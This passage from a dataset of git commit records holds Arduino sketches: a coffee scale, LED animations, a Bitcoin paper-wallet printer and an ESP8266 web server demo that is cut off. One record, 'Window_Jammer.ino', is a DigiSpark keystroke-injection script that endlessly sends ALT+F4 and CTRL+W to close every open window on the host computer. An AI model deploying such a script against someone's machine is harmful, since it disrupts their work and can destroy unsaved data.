false;\n\n\nvoid setup() {\n \/\/ Serial comm\n Serial.begin(38400);\n\n \/\/ Timer display\n timerDisp.begin();\n timerDisp.setBacklight(BRIGHTNESS);\n\n \/\/ Scale display\n scaleDisp.begin();\n scaleDisp.setBacklight(BRIGHTNESS);\n\n \/\/ Load cell\n scale.begin(SCALE_DT, SCALE_SCK);\n scale.set_scale(SCALE_FACTOR);\n scale.set_offset(SCALE_OFFSET);\n\n \/\/ Filter\n filter.clear();\n}\n\n\n\nvoid loop() {\n \/\/ Scale\n filter.addValue(scale.get_units());\n weight_in_grams = filter.getAverage();\n printGrams(scaleDisp, weight_in_grams);\n\n \/\/ Timer\n if (has_started == true)\n {\n timerDisp.printTime(minute(), second(), false);\n }\n else if (weight_in_grams > 1)\n {\n has_started = true;\n \/\/ setTime(0);\n timerDisp.printTime(minute(), second(), false);\n }\n Serial.println(has_started);\n}\n\n\n\nvoid printGrams(SevenSegmentTM1637 &disp, float grams)\n{\n if (grams < 0)\n {\n \/\/ Handle negative values better\n disp.clear();\n disp.print(grams);\n }\n else if (grams > 9999)\n {\n disp.print(\"----\");\n }\n else if (grams >= 1000)\n {\n int grams_int = int(round(grams));\n disp.clear();\n disp.print(grams_int);\n }\n else if (grams < 1000)\n {\n \/\/ Assemble char array for the display's digits\n float decigrams = grams * 10;\n dtostrf(decigrams, NUM_DIGITS, 0, decigrams_array);\n\n \/\/ Add leading zero for values below a gram (to avoid \".5\")\n if (grams < 1)\n decigrams_array[2] = '0';\n\n \/\/ Encode to byte array\n disp.encode(display_buffer, decigrams_array, NUM_DIGITS);\n\n \/\/ Add decimal point after third digit\n display_buffer[2] += 0b10000000;\n\n \/\/ Print to display\n disp.printRaw(display_buffer, NUM_DIGITS, 0);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'coffee-scale.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"270eb041b9491d723784c975bacc78023c5590db","subject":"First commit of the code previously in arduino workspace used for testing hardware. Just formatted with proper spacing. ","message":"First commit of the code previously in arduino workspace used for\ntesting hardware. Just formatted with proper spacing. ","repos":"TheMourningDawn\/InfinityTotem,TheMourningDawn\/InfinityTotem","old_file":"InfinityTotem.ino","new_file":"InfinityTotem.ino","new_contents":"#include <Wire.h>\n#include \"Adafruit_TCS34725.h\"\n#include <FastLED.h>\n\n\/\/ set to false if using a common cathode LED\n#define commonAnode false\n\n#define PIN 6\n#define NUM_LED 60\n\nAdafruit_TCS34725 colorSensor = Adafruit_TCS34725(TCS34725_INTEGRATIONTIME_50MS, TCS34725_GAIN_1X);\n\n\/\/ our RGB -> eye-recognized gamma color\nbyte gammatable[256];\n\nCRGB strip[NUM_LED];\nbool flipFlopState = true;\nuint16_t colorCounter = 0;\nbool useColorSensor = false;\n\nuint16_t delMe = 0;\n\n\/\/ rgb to use for calcualted color sensor values functions will use\nfloat r, g, b;\n\nvoid setup() {\n\/\/\tSerial.begin(9600);\n\n\/\/Initialize FastLED for the infinity symbol strip\n\tFastLED.addLeds<NEOPIXEL, PIN>(strip, NUM_LED);\n\n\tif (useColorSensor == true) {\n\t\tif (colorSensor.begin()) {\n\t\t\tSerial.println(\"Found sensor\");\n\t\t} else {\n\t\t\tSerial.println(\"No TCS34725 found ... check your connections\");\n\t\t\twhile (1)\n\t\t\t\t; \/\/ halt!\n\t\t}\n\/\/\t\tcolorSensor.setInterrupt(false);\n\t}\n\n\t\/\/ thanks PhilB for this gamma table!\n\t\/\/ it helps convert RGB colors to what humans see\n\tfor (int i = 0; i < 256; i++) {\n\t\tfloat x = i;\n\t\tx \/= 255;\n\t\tx = pow(x, 2.5);\n\t\tx *= 255;\n\n\t\tif (commonAnode) {\n\t\t\tgammatable[i] = 255 - x;\n\t\t} else {\n\t\t\tgammatable[i] = x;\n\t\t}\n\t}\n}\n\nvoid loop() {\n\tif (delMe >= 750) {\n\t\tdelMe = 0;\n\t}\n\n\t\/\/Turn the light off\n\/\/\tcolorSensor.setInterrupt(true);\n\n\/\/\tfor(int i=0;i<NUM_LED;i++){\n\/\/\t\tstrip[i] = CRGB::Black;\n\/\/\t}\n\/\/\tFastLED.show();\n\/\/\tdelay(200);\n\n\tcolorCounter = 0;\n\twipeRainbow(25);\n\twhile (delMe < 750) {\n\t\trainbowShift(10, false, colorCounter);\n\t\tdelMe++;\n\t}\n\n\tcolorCounter = random8();\n\tchasingInfinity(true, 10);\n\tchasingInfinity(true, 20);\n\tchasingFromSides(false, 45);\n\tchasingInfinity(true, 50);\n\tchasingFromSides(false, 30);\n\tchasingInfinity(false, 10);\n\tchasingInfinity(false, 20);\n\tchasingInfinity(false, 50);\n\tdoubleSymmetricalFlipFlow(30);\n\tchasingFromSides(false, 30);\n\tdoubleSymmetricalFlipFlow(15);\n\tchasingFromSides(false, 30);\n\tdoubleSymmetricalFlipFlow(15);\n\tdoubleSymmetricalFlipFlow(30);\n\tdoubleSymmetricalFlipFlow(30);\n\tdoubleSymmetricalFlipFlow(15);\n}\n\nvoid wipeRainbow(int delayTime) {\n\tfor (uint8_t i = 0; i <= NUM_LED; i++) {\n\t\tfill_rainbow(&(strip[0]), i, colorCounter);\n\t\tFastLED.show();\n\t\tdelay(delayTime);\n\t}\n}\n\nvoid rainbowShift(int delayTime, bool changeDirection, int startHue) {\n\tcheckColorCounter(colorCounter, true);\n\tif (startHue != 0) {\n\t\tcolorCounter = startHue;\n\t}\n\tif (changeDirection == true) {\n\t\tfill_rainbow(&(strip[0]), NUM_LED, 255 - colorCounter);\n\t} else {\n\t\tfill_rainbow(&(strip[0]), NUM_LED, colorCounter);\n\t}\n\tFastLED.show();\n\tdelay(delayTime);\n\tcolorCounter += 1;\n}\n\nvoid wipeInfinity(int delayTime) {\n\tcheckColorCounter(colorCounter, true);\n\tfor (uint8_t i = 0; i < NUM_LED; i++) {\n\t\tsetStrip(strip, i);\n\t\tFastLED.show();\n\t\tdelay(delayTime);\n\t\tcolorCounter += 5;\n\t}\n}\n\nvoid middleDoubleSymmetrical() {\n\tuint8_t left = 0, right = NUM_LED - 1;\n\twhile (left < 30 && right > 30) {\n\t\tsetStrip(strip, left);\n\t\tsetStrip(strip, right);\n\t\tFastLED.show();\n\t\tleft += 1;\n\t\tright -= 1;\n\t\tdelay(25);\n\t}\n}\n\nvoid doubleSymmetricalFlipFlow(int delayTime) {\n\tuint8_t left, right;\n\tcheckColorCounter(colorCounter, true);\n\tgetSensorData();\n\tif (flipFlopState == true) {\n\t\tleft = 0;\n\t\tright = NUM_LED - 1;\n\t\twhile (left < 30 && right > 30) {\n\t\t\tsetStrip(strip, left);\n\t\t\tsetStrip(strip, right);\n\t\t\tFastLED.show();\n\t\t\tleft += 1;\n\t\t\tright -= 1;\n\t\t\t\/\/If it's the last pixel, dont wait to start the next thing.\n\t\t\tif (right != 0) {\n\t\t\t\tdelay(delayTime);\n\t\t\t}\n\t\t}\n\t\tflipFlop(flipFlopState);\n\t} else {\n\t\tleft = 30;\n\t\tright = 30;\n\t\twhile (right > 0 && left < 60) {\n\t\t\tsetStrip(strip, left);\n\t\t\tsetStrip(strip, right);\n\n\t\t\tFastLED.show();\n\n\t\t\tleft += 1;\n\t\t\tright -= 1;\n\n\t\t\t\/\/If it's the last pixel, dont wait to start the next thing.\n\t\t\tif (right != 0) {\n\t\t\t\tdelay(delayTime);\n\t\t\t}\n\t\t}\n\t\tflipFlop(flipFlopState);\n\t}\n\tcolorCounter += 32;\n}\n\nvoid chasingInfinity(bool changeChaseDirection, int delayTime) {\n\tuint8_t i;\n\tcheckColorCounter(colorCounter, true);\n\tgetSensorData();\n\tif (changeChaseDirection == true) {\n\t\tfor (i = 0; i < NUM_LED; i++) {\n\t\t\tsetStrip(strip, i);\n\t\t\tFastLED.show();\n\t\t\tdelay(delayTime);\n\t\t}\n\t} else {\n\t\tfor (i = NUM_LED; i >= 1; --i) {\n\t\t\tsetStrip(strip, i - 1);\n\t\t\tFastLED.show();\n\t\t\tdelay(delayTime);\n\t\t}\n\t}\n\tcolorCounter += 33;\n}\n\nvoid chasingFromSides(bool changeChaseDirection, int delayTime) {\n\tuint8_t leftTop, rightTop, leftBottom, rightBottom;\n\tcheckColorCounter(colorCounter, true);\n\tgetSensorData();\n\tleftTop = 45; \/\/45 -> 30\n\tleftBottom = 45; \/\/45 -> 60\n\trightTop = 15; \/\/15 -> 0\n\trightBottom = 15; \/\/15 -> 30\n\twhile (leftBottom < 60 && leftTop >= 30 && rightBottom < 30 && rightTop >= 0) {\n\t\tsetStrip(strip, leftTop);\n\t\tsetStrip(strip, leftBottom);\n\t\tsetStrip(strip, rightTop);\n\t\tsetStrip(strip, rightBottom);\n\t\tFastLED.show();\n\t\tleftTop--;\n\t\tleftBottom++;\n\t\trightTop--;\n\t\trightBottom++;\n\t\tdelay(delayTime);\n\t}\n\tsetStrip(strip, leftTop);\n\tsetStrip(strip, rightTop);\n\n\tcolorCounter += 33;\n}\n\n\nvoid setStrip(CRGB strip[], uint16_t index) {\n\tif (useColorSensor == true) {\n\t\tstrip[index].setRGB(gammatable[(int) r], gammatable[(int) g], gammatable[(int) b]);\n\t} else {\n\t\tstrip[index].setHue(colorCounter);\n\t}\n}\n\nvoid getSensorData() {\n\tuint16_t clear, red, green, blue;\n\tif (useColorSensor == true) {\n\t\t\/\/ it takes length of the integration time to read a color\n\t\tcolorSensor.getRawData(&red, &green, &blue, &clear);\n\t\tdelay(50);\n\n\t\t\/\/ Figure out some basic hex code for visualization\n\t\tuint32_t sum = clear;\n\t\tr = red;\n\t\tr \/= sum;\n\t\tg = green;\n\t\tg \/= sum;\n\t\tb = blue;\n\t\tb \/= sum;\n\t\tr *= 256;\n\t\tg *= 256;\n\t\tb *= 256;\n\t}\n}\n\nvoid checkColorCounter(uint16_t &colorCounter, bool leaveMod) {\n\tif (colorCounter > 255) {\n\t\tif (leaveMod == true) {\n\t\t\tcolorCounter = colorCounter % 255;\n\t\t} else {\n\t\t\tcolorCounter = 0;\n\t\t}\n\t}\n}\n\nvoid flipFlop(bool &flopToFlip) {\n\tif (flopToFlip == true) {\n\t\tflopToFlip = false;\n\t\treturn;\n\t}\n\tflopToFlip = true;\n}\n\n\/\/TODO: this isn't safe when either parameter is close to either end of the strip\nvoid shift(int to, int from) {\n\tif (to < from) {\n\t\tfor (int i = to; i < from; i++) {\n\t\t\tstrip[i] = strip[i + 1];\n\t\t}\n\t} else {\n\t\tfor (int i = to; i > from; i--) {\n\t\t\tstrip[i] = strip[i - 1];\n\t\t}\n\t}\n}\n\nvoid shift() {\n\tuint32_t wrapAroundPixel;\n\twrapAroundPixel = strip[NUM_LED-1];\n\tfor(int i=NUM_LED-1;i>0;i++) {\n\t\tstrip[i] = strip[i-1];\n\t}\n\tstrip[0] = wrapAroundPixel;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'InfinityTotem.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cca6d70f00493a163958076937b32514c7b2d4da","subject":"add torque cmd on monitor example","message":"add torque cmd on monitor example\n","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/08. DynamixelWorkbench\/s_Monitor\/s_Monitor.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/08. DynamixelWorkbench\/s_Monitor\/s_Monitor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/08.' did not match any file(s) known to git\nerror: pathspec 'DynamixelWorkbench\/s_Monitor\/s_Monitor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9b06055eceaf838825aee3da61b48ad2cd045a3a","subject":"Paper Wallet Printer","message":"Paper Wallet Printer\n","repos":"spearson78\/paperwallet,spearson78\/paperwallet","old_file":"paperwallet\/paperwallet.ino","new_file":"paperwallet\/paperwallet.ino","new_contents":"\/\/ Copyright 2013 Steven Pearson\n\/\/ Use of this source code is governed by a BSD-style\n\/\/ license that can be found in the LICENSE file.\n\n#include <panic.h>\n#include <progress.h>\n#include <bignat.h>\n#include <bigint.h>\n#include <sha256.h>\n#include <rmd160.h>\n#include <base58.h>\n#include <bitelliptic.h>\n#include <bitaddress.h>\n#include <rng.h>\n#include <qrencode.h>\n#include <lcd5510.h>\n#include <printer.h>\n\n\/\/Read high fuse bits\n\/\/avrdude -v -patmega328p -cusbtiny -U hfuse:r:hfuse.txt:b\n\n\/\/Disable Bootloader on reset\n\/\/avrdude -v -patmega328p -cusbtiny -U hfuse:w:0xDF:m\n\n\/\/Enable bootloader on reset\n\/\/avrdude -v -patmega328p -cusbtiny -U hfuse:w:0xDE:m\n\n\/\/burn without bootloader\n\/\/avrdude -v -patmega328p -cusbtiny -U hfuse:w:0xDF:m -Uflash:w:\/tmp\/build2279538609720273931.tmp\/paperwallet.cpp.hex:i\n\nvoid PANIC(byte errorCode){\n Lcd::Clear();\n Lcd::String(0,0,F(\"E\"));\n char buf[2];\n buf[0]=errorCode+65;\n buf[1]=NULL;\n Lcd::String(0,1,buf);\n for(;;){\n }\n}\n\nvoid PROGRESS(float progress){\n Lcd::Progress(5,progress);\n}\n\nvoid displayPrivate(uint8_t *PRIVATE){\n\n char encoded[128];\n\n bitaddress::generatePrivateWIF(PRIVATE,encoded,sizeof(encoded));\n\n Lcd::Clear();\n Lcd::String(0,0,F(\"Private Key\"));\n Lcd::String(0,1,encoded); \n}\n\nvoid displayPrivateQR(uint8_t *PRIVATE){\n char encoded[128];\n bitaddress::generatePrivateWIF(PRIVATE,encoded,sizeof(encoded));\n\n Lcd::Clear();\n displayQR(encoded);\n}\n\nvoid printPrivateQR(uint8_t *PRIVATE){\n char encoded[128];\n bitaddress::generatePrivateWIF(PRIVATE,encoded,sizeof(encoded));\n\n printer::printPosition(F(\"477\"),F(\"92\"));\n printQR(encoded);\n char split[27];\n memcpy(split,encoded,26);\n split[26]=0;\n printer::print(F(\"\\x1B(s3T\\x1B(s16H\\x1B(s12V\\r\\n\\x1b*p395X\"));\n printer::printLine(split);\n printer::print(F(\"\\x1b*p395X\"));\n printer::printLine(encoded+26);\n}\n\nvoid displayPublic(const struct bigint &x,const struct bigint &y){\n char encoded[40];\n bitaddress::generateAddress(x,y,encoded,sizeof(encoded)); \n\n Lcd::Clear();\n Lcd::String(0,0,F(\"Address\"));\n Lcd::String(0,1,encoded); \n}\n\nvoid displayPublicQR(const struct bigint &x,const struct bigint &y){\n char encoded[40];\n bitaddress::generateAddress(x,y,encoded,sizeof(encoded)); \n Lcd::Clear();\n displayQR(encoded);\n}\n\nvoid printPublicQR(const struct bigint &x,const struct bigint &y){\n char encoded[40];\n bitaddress::generateAddress(x,y,encoded,sizeof(encoded)); \n printer::print(F(\"\\x1b*p1067Y\\x1b*p257X\")); \n printer::printLine(encoded);\n printer::printPosition(F(\"357\"),F(\"1092\"));\n printQR(encoded);\n}\n\nvoid displayResults(uint8_t *PRIVATE,const struct bigint &x,const struct bigint &y){\n displayPrivate(PRIVATE);\n displayPublic(x,y);\n}\n\nvoid generatePrivateKey(uint8_t *PRIVATE){\n rng::generate(PRIVATE,32);\n}\n\nvoid displayQR(const char *string){\n qrcontext qr;\n\n qr.qrencode(string);\n\n Lcd::Bitmap(qr.qrframe);\n}\n\nvoid printQR(const char *string){\n qrcontext qr;\n\n qr.qrencode(string);\n\n printer::printQR(qr);\n}\n\nuint8_t PRIVATE[32];\nWORD xbuf[32];\nWORD ybuf[32];\nstruct bigint pubx(xbuf,sizeof(xbuf));\nstruct bigint puby(ybuf,sizeof(ybuf));\nint state = 0;\n\nvoid setup(){\n Lcd::Initialize();\n Lcd::Clear();\n \/\/Lcd::String(17,1,F(\"Offline\"));\n Lcd::String(21,2,F(\"Wallet\"));\n \/\/Lcd::String(11,3,F(\"Generator\"));\n\n pinMode(A1,INPUT);\n pinMode(13,INPUT);\n printer::initialize();\n\n generatePrivateKey(PRIVATE);\n bitaddress::generatePublicKey(PRIVATE,pubx,puby);\n}\n\nvoid loop(){\n switch( state ){\n case 0:\n displayPrivate(PRIVATE);\n break;\n case 1:\n displayPublic(pubx,puby); \n break;\n }\n delay(1000);\n int a1 = LOW;\n int a0 = LOW;\n while(a1==LOW && a0==LOW){\n a0=digitalRead(13);\n a1=digitalRead(A1);\n }\n if( a0 == HIGH ){\n state++;\n if( state == 2 ){\n state =0;\n }\n } \n else {\n Lcd::Clear();\n Lcd::String(0,1,F(\"Printing\"));\n\n printPrivateQR(PRIVATE);\n printPublicQR(pubx,puby);\n printer::formfeed();\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'paperwallet\/paperwallet.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"b88f12bf463afa7bfbcb6b0301d083684d31ba4a","subject":"Create Window_Jammer.ino","message":"Create Window_Jammer.ino","repos":"CedArctic\/DigiSpark-Scripts,CedArctic\/DigiSpark-Scripts","old_file":"Window_Jammer\/Window_Jammer.ino","new_file":"Window_Jammer\/Window_Jammer.ino","new_contents":"\/\/ A simple script to have the DigiSpark constantly spam ALT+F4 and CTRL+W key combos forcing all active windows and browsers to close\n\n#include \"DigiKeyboard.h\"\nvoid setup() {\n}\n\nvoid loop() {\n DigiKeyboard.sendKeyStroke(0);\n DigiKeyboard.delay(100);\n DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT);\n DigiKeyboard.delay(100);\n DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Window_Jammer\/Window_Jammer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ac4e8038a4a49d6d3d439edf67646968c35825d","subject":"Added advanced web server demo","message":"Added advanced web server demo\n","repos":"raimohanska\/Arduino,ogahara\/Arduino,mattvenn\/Arduino,myrtleTree33\/Arduino,probonopd\/Arduino,Cloudino\/Cloudino-Arduino-IDE,drpjk\/Arduino,radut\/Arduino,leftbrainstrain\/Arduino-ESP8266,probonopd\/Arduino,Protoneer\/Arduino,jomolinare\/Arduino,weera00\/Arduino,myrtleTree33\/Arduino,drpjk\/Arduino,koltegirish\/Arduino,wdoganowski\/Arduino,sanyaade-iot\/Arduino-1,raimohanska\/Arduino,mangelajo\/Arduino,mangelajo\/Arduino,Cloudino\/Cloudino-Arduino-IDE,adafruit\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,zenmanenergy\/Arduino,weera00\/Arduino,gonium\/Arduino,adafruit\/ESP8266-Arduino,ogahara\/Arduino,sanyaade-iot\/Arduino-1,sanyaade-iot\/Arduino-1,radut\/Arduino,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Cloudino-Arduino-IDE,noahchense\/Arduino-1,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,zenmanenergy\/Arduino,Protoneer\/Arduino,raimohanska\/Arduino,probonopd\/Arduino,ssvs111\/Arduino,noahchense\/Arduino-1,mangelajo\/Arduino,fungxu\/Arduino,EmuxEvans\/Arduino,SmartArduino\/Arduino-1,mangelajo\/Arduino,paulmand3l\/Arduino,tannewt\/Arduino,Cloudino\/Arduino,raimohanska\/Arduino,shiitakeo\/Arduino,spapadim\/Arduino,noahchense\/Arduino-1,shiitakeo\/Arduino,NeuralSpaz\/Arduino,mattvenn\/Arduino,eeijcea\/Arduino-1,fungxu\/Arduino,adafruit\/ESP8266-Arduino,danielchalef\/Arduino,jomolinare\/Arduino,shiitakeo\/Arduino,sanyaade-iot\/Arduino-1,nkolban\/Arduino,raimohanska\/Arduino,koltegirish\/Arduino,paulmand3l\/Arduino,leftbrainstrain\/Arduino-ESP8266,probonopd\/Arduino,mattvenn\/Arduino,ogahara\/Arduino,spapadim\/Arduino,ssvs111\/Arduino,drpjk\/Arduino,ogahara\/Arduino,radut\/Arduino,mateuszdw\/Arduino,radut\/Arduino,Cloudino\/Arduino,paulo-raca\/ESP8266-Arduino,smily77\/Arduino,Cloudino\/Arduino,tannewt\/Arduino,raimohanska\/Arduino,Alfredynho\/AgroSis,gonium\/Arduino,koltegirish\/Arduino,danielchalef\/Arduino,koltegirish\/Arduino,aichi\/Arduino-2,gonium\/Arduino,paulmand3l\/Arduino,EmuxEvans\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,smily77\/Arduino,aichi\/Arduino-2,Cloudino\/Cloudino-Arduino-IDE,fungxu\/Arduino,NeuralSpaz\/Arduino,mangelajo\/Arduino,Cloudino\/Arduino,drpjk\/Arduino,fungxu\/Arduino,sanyaade-iot\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,jomolinare\/Arduino,Protoneer\/Arduino,NeuralSpaz\/Arduino,Cloudino\/Arduino,gonium\/Arduino,aichi\/Arduino-2,noahchense\/Arduino-1,aichi\/Arduino-2,EmuxEvans\/Arduino,mangelajo\/Arduino,gonium\/Arduino,eeijcea\/Arduino-1,eeijcea\/Arduino-1,Cloudino\/Arduino,shiitakeo\/Arduino,Alfredynho\/AgroSis,ssvs111\/Arduino,weera00\/Arduino,weera00\/Arduino,NeuralSpaz\/Arduino,nkolban\/Arduino,eeijcea\/Arduino-1,radut\/Arduino,shiitakeo\/Arduino,adafruit\/ESP8266-Arduino,myrtleTree33\/Arduino,danielchalef\/Arduino,noahchense\/Arduino-1,smily77\/Arduino,sanyaade-iot\/Arduino-1,Alfredynho\/AgroSis,spapadim\/Arduino,myrtleTree33\/Arduino,danielchalef\/Arduino,gonium\/Arduino,Alfredynho\/AgroSis,EmuxEvans\/Arduino,mateuszdw\/Arduino,Alfredynho\/AgroSis,Protoneer\/Arduino,raimohanska\/Arduino,fungxu\/Arduino,weera00\/Arduino,Cloudino\/Cloudino-Arduino-IDE,smily77\/Arduino,spapadim\/Arduino,paulo-raca\/ESP8266-Arduino,SmartArduino\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,radut\/Arduino,jomolinare\/Arduino,myrtleTree33\/Arduino,mateuszdw\/Arduino,fungxu\/Arduino,wdoganowski\/Arduino,tannewt\/Arduino,zenmanenergy\/Arduino,paulo-raca\/ESP8266-Arduino,wdoganowski\/Arduino,drpjk\/Arduino,aichi\/Arduino-2,ogahara\/Arduino,noahchense\/Arduino-1,mattvenn\/Arduino,mattvenn\/Arduino,ssvs111\/Arduino,danielchalef\/Arduino,sanyaade-iot\/Arduino-1,NeuralSpaz\/Arduino,EmuxEvans\/Arduino,mattvenn\/Arduino,NeuralSpaz\/Arduino,tannewt\/Arduino,tannewt\/Arduino,mateuszdw\/Arduino,nkolban\/Arduino,leftbrainstrain\/Arduino-ESP8266,adafruit\/ESP8266-Arduino,EmuxEvans\/Arduino,myrtleTree33\/Arduino,zenmanenergy\/Arduino,ogahara\/Arduino,ssvs111\/Arduino,nkolban\/Arduino,mattvenn\/Arduino,spapadim\/Arduino,spapadim\/Arduino,paulo-raca\/ESP8266-Arduino,paulmand3l\/Arduino,paulmand3l\/Arduino,Alfredynho\/AgroSis,Protoneer\/Arduino,SmartArduino\/Arduino-1,gonium\/Arduino,probonopd\/Arduino,nkolban\/Arduino,wdoganowski\/Arduino,mateuszdw\/Arduino,Protoneer\/Arduino,eeijcea\/Arduino-1,smily77\/Arduino,zenmanenergy\/Arduino,wdoganowski\/Arduino,probonopd\/Arduino,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,SmartArduino\/Arduino-1,drpjk\/Arduino,jomolinare\/Arduino,noahchense\/Arduino-1,fungxu\/Arduino,SmartArduino\/Arduino-1,jomolinare\/Arduino,mangelajo\/Arduino,danielchalef\/Arduino,koltegirish\/Arduino,tannewt\/Arduino,eeijcea\/Arduino-1,shiitakeo\/Arduino,ogahara\/Arduino,aichi\/Arduino-2,Cloudino\/Cloudino-Arduino-IDE,spapadim\/Arduino,mateuszdw\/Arduino,koltegirish\/Arduino,radut\/Arduino,mateuszdw\/Arduino,SmartArduino\/Arduino-1,ssvs111\/Arduino,Cloudino\/Cloudino-Arduino-IDE,weera00\/Arduino,paulmand3l\/Arduino,tannewt\/Arduino,zenmanenergy\/Arduino,smily77\/Arduino,EmuxEvans\/Arduino,wdoganowski\/Arduino,jomolinare\/Arduino,paulo-raca\/ESP8266-Arduino,nkolban\/Arduino,Cloudino\/Arduino,Protoneer\/Arduino,wdoganowski\/Arduino,Alfredynho\/AgroSis,paulmand3l\/Arduino,danielchalef\/Arduino,aichi\/Arduino-2,paulo-raca\/ESP8266-Arduino,zenmanenergy\/Arduino,probonopd\/Arduino,smily77\/Arduino,NeuralSpaz\/Arduino,weera00\/Arduino,koltegirish\/Arduino,SmartArduino\/Arduino-1,ssvs111\/Arduino,nkolban\/Arduino,drpjk\/Arduino","old_file":"hardware\/esp8266com\/esp8266\/libraries\/ESP8266WebServer\/examples\/AdvancedWebServer\/AdvancedWebServer.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/ESP8266WebServer\/examples\/AdvancedWebServer\/AdvancedWebServer.ino","new_contents":"\/*\n * Copyright (c) 2015, Majenko Technologies\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * \n * * Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n * \n * * Neither the name of Majenko Technologies nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\nconst char *ssid = \"YourSSIDHere\";\nconst char *password = \"YourPSKHere\";\nMDNSResponder mdns;\n\nESP8266WebServer server ( 80 );\n\nconst int led = 13;\n\nvoid handleRoot() {\n\tdigitalWrite ( led, 1 );\n\tchar temp[400];\n\tint sec = millis() \/ 1000;\n\tint min = sec \/ 60;\n\tint hr = min \/ 60;\n\n\tsnprintf ( temp, 400,\n\n\"<html>\\\n <head>\\\n <meta http-equiv='refresh' content='5'\/>\\\n <title>ESP8266 Demo<\/title>\\\n <style>\\\n body { background-color: #cccccc; font-family: Arial, Helvetica, Sans-Serif; Color: #000088; }\\\n <\/style>\\\n <\/head>\\\n <body>\\\n <h1>Hello from ESP8266!<\/h1>\\\n <p>Uptime: %02d:%02d:%02d<\/p>\\\n <img src=\\\"\/test.svg\\\" \/>\\\n <\/body>\\\n<\/html>\",\n\n\t\thr, min % 60, sec % 60\n\t);\n\tserver.send ( 200, \"text\/html\", temp );\n\tdigitalWrite ( led, 0 );\n}\n\nvoid handleNotFound() {\n\tdigitalWrite ( led, 1 );\n\tString message = \"File Not Found\\n\\n\";\n\tmessage += \"URI: \";\n\tmessage += server.uri();\n\tmessage += \"\\nMethod: \";\n\tmessage += ( server.method() == HTTP_GET ) ? \"GET\" : \"POST\";\n\tmessage += \"\\nArguments: \";\n\tmessage += server.args();\n\tmessage += \"\\n\";\n\n\tfor ( uint8_t i = 0; i < server.args(); i++ ) {\n\t\tmessage += \" \" + server.argName ( i ) + \": \" + server.arg ( i ) + \"\\n\";\n\t}\n\n\tserver.send ( 404, \"text\/plain\", message );\n\tdigitalWrite ( led, 0 );\n}\n\nvoid setup ( void ) {\n\tpinMode ( led, OUTPUT );\n\tdigitalWrite ( led, 0 );\n\tSerial.begin ( 115200 );\n\tWiFi.begin ( ssid, password );\n\tSerial.println ( \"\" );\n\n\t\/\/ Wait for connection\n\twhile ( WiFi.status() != WL_CONNECTED ) {\n\t\tdelay ( 500 );\n\t\tSerial.print ( \".\" );\n\t}\n\n\tSerial.println ( \"\" );\n\tSerial.print ( \"Connected to \" );\n\tSerial.println ( ssid );\n\tSerial.print ( \"IP address: \" );\n\tSerial.println ( WiFi.localIP() );\n\n\tif ( mdns.begin ( \"esp8266\", WiFi.localIP() ) ) {\n\t\tSerial.println ( \"MDNS responder started\" );\n\t}\n\n\tserver.on ( \"\/\", handleRoot );\n\tserver.on ( \"\/test.svg\", drawGraph );\n\tserver.on ( \"\/inline\", []() {\n\t\tserver.send ( 200, \"text\/plain\", \"this works as well\" );\n\t} );\n\tserver.onNotFound ( handleNotFound );\n\tserver.begin();\n\tSerial.println ( \"HTTP server started\" );\n}\n\nvoid loop ( void ) {\n\tmdns.update();\n\tserver.handleClient();\n}\n\nvoid drawGraph() {\n\tString out = 